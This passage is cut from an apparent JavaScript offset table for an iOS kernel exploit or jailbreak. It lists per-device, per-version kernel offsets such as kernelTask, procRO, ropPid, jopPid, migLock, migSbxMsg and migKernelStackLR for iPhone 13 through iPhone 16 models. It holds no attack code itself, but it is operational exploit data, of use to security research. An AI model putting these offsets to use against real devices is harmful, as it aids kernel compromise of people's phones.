0x3a8n,\n\t\t\t\t\tctid: 0x428n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x9546e0n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\tprocRO: 0x388n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x954b30n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x954a90n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x954ae0n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa295e0n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3a0n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5dcn,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa2d5f8n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa35a20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa2da20n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa9ebe8n,\n\t\t\t\t\tprocRO: 0x3c0n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n,\n\t\t\t\t\tmigLock: 0x37b8b80n,\n\t\t\t\t\tmigSbxMsg: 0x37b8ba0n,\n\t\t\t\t\tmigKernelStackLR: 0x3190fa0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xaa6cd0n,\n\t\t\t\t\tmigLock: 0x37d4c90n,\n\t\t\t\t\tmigSbxMsg: 0x37d4cb0n,\n\t\t\t\t\tmigKernelStackLR: 0x31acce4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xaaade0n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x440n,\n\t\t\t\t\tmigLock: 0x37dcc90n,\n\t\t\t\t\tmigSbxMsg: 0x37dccb0n,\n\t\t\t\t\tmigKernelStackLR: 0x31b5b60n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 13\n\t// iPhone 13 Mini\n\t// iPhone 13 Pro\n\t// iPhone 13 Pro Max\n\t// iPhone SE 3\n\t// iPhone 14\n\t// iPhone 14 Plus\n\t\"iPhone14\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5d4n,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x918ee0n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x91d318n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x925770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9256d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x925720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f6230n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5f4n,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x168n,\n\t\t\t\t\tjopPid: 0x170n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x440n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f6248n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa02678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9fa678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67b18n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x448n,\n\t\t\t\t\tmigLock: 0x382c218n,\n\t\t\t\t\tmigSbxMsg: 0x382c238n,\n\t\t\t\t\tmigKernelStackLR: 0x317d020n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fc00n,\n\t\t\t\t\tmigLock: 0x3848428n,\n\t\t\t\t\tmigSbxMsg: 0x3848448n,\n\t\t\t\t\tmigKernelStackLR: 0x31994a4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa73d10n,\n\t\t\t\t\tguardExcCode: 0x340n,\n\t\t\t\t\ttaskThreads: 0x390n,\n\t\t\t\t\ttro: 0x398n,\n\t\t\t\t\tast: 0x3bcn,\n\t\t\t\t\tmutexData: 0x3c8n,\n\t\t\t\t\tctid: 0x450n,\n\t\t\t\t\tmigLock: 0x38543a8n,\n\t\t\t\t\tmigSbxMsg: 0x38543c8n,\n\t\t\t\t\tmigKernelStackLR: 0x31a27e0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"6\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x92d318n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x935770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9316d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x931720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa06230n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa06248n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa12678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa0a678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa77b18n,\n\t\t\t\t\tmigLock: 0x3898c18n,\n\t\t\t\t\tmigSbxMsg: 0x3898c38n,\n\t\t\t\t\tmigKernelStackLR: 0x31dff60n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa7fc00n,\n\t\t\t\t\tmigLock: 0x38b4e28n,\n\t\t\t\t\tmigSbxMsg: 0x38b4e48n,\n\t\t\t\t\tmigKernelStackLR: 0x31fc3e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa83d10n,\n\t\t\t\t\tmigLock: 0x38bcda8n,\n\t\t\t\t\tmigSbxMsg: 0x38bcdc8n,\n\t\t\t\t\tmigKernelStackLR: 0x3205560n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"7\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x919318n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x921770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9216d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x921720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f2230n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f2248n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fe678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f6678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67b18n,\n\t\t\t\t\tmigLock: 0x3813d98n,\n\t\t\t\t\tmigSbxMsg: 0x3813db8n,\n\t\t\t\t\tmigKernelStackLR: 0x3163ae0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fc00n,\n\t\t\t\t\tmigLock: 0x382ffa8n,\n\t\t\t\t\tmigSbxMsg: 0x382ffc8n,\n\t\t\t\t\tmigKernelStackLR: 0x317ffa4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6fd10n,\n\t\t\t\t\tmigLock: 0x3833fa8n,\n\t\t\t\t\tmigSbxMsg: 0x3833fc8n,\n\t\t\t\t\tmigKernelStackLR: 0x31852a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"8\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x919318n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x921770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9216d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x921720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f2230n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f2248n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fe678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f6678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67b18n,\n\t\t\t\t\tmigLock: 0x3813d98n,\n\t\t\t\t\tmigSbxMsg: 0x3813db8n,\n\t\t\t\t\tmigKernelStackLR: 0x3163ae0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fc00n,\n\t\t\t\t\tmigLock: 0x382ffa8n,\n\t\t\t\t\tmigSbxMsg: 0x382ffc8n,\n\t\t\t\t\tmigKernelStackLR: 0x317ffa4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6fd10n,\n\t\t\t\t\tmigLock: 0x3833fa8n,\n\t\t\t\t\tmigSbxMsg: 0x3833fc8n,\n\t\t\t\t\tmigKernelStackLR: 0x31852a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 14 Pro\n\t// iPhone 14 Pro Max\n\t// iPhone 15\n\t// iPhone 15 Plus\n\t\"iPhone15\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5d4n,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x914e00n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x919238n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x921690n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9215f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x921640n\n\t\t\t\t},\n\t\t\t\t6.2: {\n\t\t\t\t\tkernelTask: 0x91d640n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9ee150n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5f4n,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x168n,\n\t\t\t\t\tjopPid: 0x170n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x440n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f2168n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fe598n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f6598n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67c18n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x448n,\n\t\t\t\t\tmigLock: 0x37863f8n,\n\t\t\t\t\tmigSbxMsg: 0x3786418n,\n\t\t\t\t\tmigKernelStackLR: 0x3131620n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fd00n,\n\t\t\t\t\tmigLock: 0x37a2788n,\n\t\t\t\t\tmigSbxMsg: 0x37a27a8n,\n\t\t\t\t\tmigKernelStackLR: 0x314dc24n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6fe10n,\n \t\t\t\t\tguardExcCode: 0x340n,\n\t\t\t\t\ttaskThreads: 0x390n,\n \t\t\t\t\ttro: 0x398n,\n \t\t\t\t\tast: 0x3bcn,\n\t\t\t\t\tmutexData: 0x3c8n,\n\t\t\t\t\tctid: 0x450n,\n\t\t\t\t\tmigLock: 0x37aa708n,\n\t\t\t\t\tmigSbxMsg: 0x37aa728n,\n\t\t\t\t\tmigKernelStackLR: 0x3152ee0n\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"4\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x941238n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x949690n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9495f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x949640n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa2a150n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa2a168n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa3a598n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa32598n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xaa3c18n,\n\t\t\t\t\tmigLock: 0x38c5388n,\n\t\t\t\t\tmigSbxMsg: 0x38c53a8n,\n\t\t\t\t\tmigKernelStackLR: 0x325f1e0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xaa7d00n,\n\t\t\t\t\tmigLock: 0x38dd698n,\n\t\t\t\t\tmigSbxMsg: 0x38dd6b8n,\n\t\t\t\t\tmigKernelStackLR: 0x32777e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xaabe10n,\n\t\t\t\t\tmigLock: 0x38e5618n,\n\t\t\t\t\tmigSbxMsg: 0x38e5638n,\n\t\t\t\t\tmigKernelStackLR: 0x3280aa0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"5\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x941238n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x949690n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9495f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x949640n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa2a150n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa2a168n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa3a598n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa32598n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xaa3c18n,\n\t\t\t\t\tmigLock: 0x38c5388n,\n\t\t\t\t\tmigSbxMsg: 0x38c53a8n,\n\t\t\t\t\tmigKernelStackLR: 0x325f1e0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xaa7d00n,\n\t\t\t\t\tmigLock: 0x38dd698n,\n\t\t\t\t\tmigSbxMsg: 0x38dd6b8n,\n\t\t\t\t\tmigKernelStackLR: 0x32777e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xaabe10n,\n\t\t\t\t\tmigLock: 0x38e5618n,\n\t\t\t\t\tmigSbxMsg: 0x38e5638n,\n\t\t\t\t\tmigKernelStackLR: 0x3280aa0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 15 Pro\n\t// iPhone 15 Pro Max\n\t\"iPhone16\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5d4n,\n\t\t\t\t\tkstackptr: 0x140n,\n\t\t\t\t\tropPid: 0x1b0n,\n\t\t\t\t\tjopPid: 0x1b8n,\n\t\t\t\t\tguardExcCode: 0x380n,\n\t\t\t\t\ttaskThreads: 0x3c0n,\n\t\t\t\t\ttro: 0x3d0n,\n\t\t\t\t\tast: 0x3f4n,\n\t\t\t\t\tmutexData: 0x400n,\n\t\t\t\t\tctid: 0x480n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x978ef0n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x991eb0n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\toptions: 0xc0n,\n\t\t\t\t\tguardExcCode: 0x388n,\n\t\t\t\t\ttaskThreads: 0x3c8n,\n\t\t\t\t\ttro: 0x3d8n,\n\t\t\t\t\tast: 0x3fcn,\n\t\t\t\t\tmutexData: 0x408n,\n\t\t\t\t\tctid: 0x488n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x99a308n,\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x99a268n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x99a2b8n\n\t\t\t\t},\n\t\t\t\t6.2: {\n\t\t\t\t\tkernelTask: 0x9962b8n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xaae870n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5f4n,\n\t\t\t\t\tkstackptr: 0x148n,\n\t\t\t\t\tropPid: 0x1b8n,\n\t\t\t\t\tjopPid: 0x1c0n,\n\t\t\t\t\tguardExcCode: 0x388n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x490n,\n\t\t\t\t\toptions: 0xc0n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xaae888n,\n\t\t\t\t\ttaskThreads: 0x3d0n,\n\t\t\t\t\ttro: 0x3d8n,\n\t\t\t\t\tast: 0x3fcn,\n\t\t\t\t\tmutexData: 0x408n,\n\t\t\t\t\tctid: 0x488n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xab6cb8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xab2cb8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xb23d28n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x498n,\n\t\t\t\t\tmigLock: 0x3c03ef0n,\n\t\t\t\t\tmigSbxMsg: 0x3c03f10n,\n\t\t\t\t\tmigKernelStackLR: 0x3582fe0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xb2be10n,\n\t\t\t\t\tmigLock: 0x3c181a8n,\n\t\t\t\t\tmigSbxMsg: 0x3c181c8n,\n\t\t\t\t\tmigKernelStackLR: 0x35993a4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xb2ff20n,\n \t\t\t\t\tguardExcCode: 0x390n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a0n,\n\t\t\t\t\tmigLock: 0x3c241a8n,\n\t\t\t\t\tmigSbxMsg: 0x3c241c8n,\n\t\t\t\t\tmigKernelStackLR: 0x35a26a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\t// iPhone 16\n\t// iPhone 16 plus\n\t// iPhone 16 pro\n\t// iPhone 16 pro max\n\t\"iPhone17\": {\n\t\t\"*\": {\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xb7e1c8n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\tkstackptr: 0x148n,\n\t\t\t\t\tropPid: 0x1b8n,\n\t\t\t\t\tjopPid: 0x1c0n,\n\t\t\t\t\tguardExcCode: 0x390n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\toptions: 0xc0n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xb7e1e0n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x4a0n,\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xb86610n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xb82610n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xc0fd80n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\tmigLock: 0x4042dc0n,\n\t\t\t\t\tmigSbxMsg: 0x4042de0n,\n\t\t\t\t\tmigKernelStackLR: 0x3912aa0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xc17e68n,\n\t\t\t\t\tmigLock: 0x405eff8n,\n\t\t\t\t\tmigSbxMsg: 0x405f018n,\n\t\t\t\t\tmigKernelStackLR: 0x392be64n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xc1bf78n,\n \t\t\t\t\tguardExcCode: 0x398n,\n\t\t\t\t\ttaskThreads: 0x3e8n,\n \t\t\t\t\ttro: 0x3f0n,\n\t\t\t\t\tast: 0x414n,\n\t\t\t\t\tmutexData: 0x420n,\n\t\t\t\t\tctid: 0x4b0n,\n\t\t\t\t\tmigLock: 0x4066f88n,\n\t\t\t\t\tmigSbxMsg: 0x4066fa8n,\n\t\t\t\t\tmigKernelStackLR: 0x39352e0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"5\": {\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xb7e1c8n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\tkstackptr: 0x148n,\n\t\t\t\t\tropPid: 0x1b8n,\n\t\t\t\t\tjopPid: 0x1c0n,\n\t\t\t\t\tguardExcCode: 0x390n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 